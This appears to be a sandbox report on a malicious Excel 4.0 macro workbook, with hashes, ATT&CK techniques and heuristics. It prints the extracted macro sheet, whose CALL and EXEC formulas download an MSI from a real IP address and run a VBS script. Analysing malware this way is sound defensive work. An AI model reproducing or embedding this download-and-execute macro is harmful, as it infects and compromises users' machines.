Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5cf64c2b31baef39…

MALICIOUS

Office (OOXML)

6.7 KB Created: 2007-04-03 04:03:07 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-15
MD5: 05214008799c4c7a442bc044e74f1978 SHA-1: a44b11e7bbf1739bcbf2c699e59bd385fe682afc SHA-256: 5cf64c2b31baef394062c56e0e40880988283b7f1dd5f7473a29105df4f69308
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, evidenced by critical heuristic firings. These macros utilize dangerous functions like CALL and EXEC to download a file named 'uluculus.msi' from the IP address 46.17.98.187 and then execute a script named 'start.vbs' from the same location. This indicates a downloader or dropper functionality.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, CALL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.17.98.187 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1674 bytes
SHA-256: b60c09e4be590aa0bdec9fdd3f0bffc986736bd0ee2d008c0bc3356ec6d9fe8d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="ED97:ED188"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="DY163" workbookViewId="0"><selection activeCell="ED171" sqref="ED171"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="133" width="9.140625" style="1"/><col min="134" max="134" width="78.5703125" style="1" customWidth="1"/><col min="135" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="97" spans="134:134" x14ac:dyDescent="0.25"><c r="ED97" s="1" t="s"><v>0</v></c></row><row r="173" spans="134:134" x14ac:dyDescent="0.25"><c r="ED173" s="1" t="b"><f>EXEC("msiexec.exe")</f><v>0</v></c></row><row r="175" spans="134:134" x14ac:dyDescent="0.25"><c r="ED175" s="1"><f>CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187","C:\ProgramData\uluculus.msi",0,0)</f><v>0</v></c></row><row r="177" spans="134:134" x14ac:dyDescent="0.25"><c r="ED177" s="1"><f>EXEC("wscript C:\ProgramData\start.vbs")</f><v>33</v></c></row><row r="188" spans="134:134" x14ac:dyDescent="0.25"><c r="ED188" s="1" t="b"><f>HALT()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.